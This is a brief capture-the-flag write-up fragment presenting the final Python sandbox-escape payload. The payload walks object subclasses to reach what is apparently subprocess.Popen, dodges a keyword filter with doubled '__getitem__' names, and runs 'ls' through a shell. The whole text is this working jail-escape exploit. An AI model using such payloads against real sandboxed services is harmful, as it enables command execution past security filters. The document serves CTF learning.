Final payload we used to get the flag:
```
asdf="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"
asd="ASDF"
print ().__class__.__bases__.__getgetitemitem__(asd.find("A")).__subclasses__().__getgetitemitem__(asdf.find("B"))("ls",shell=(asd==asd),stdout=asd.find("C")).stdout.read()
```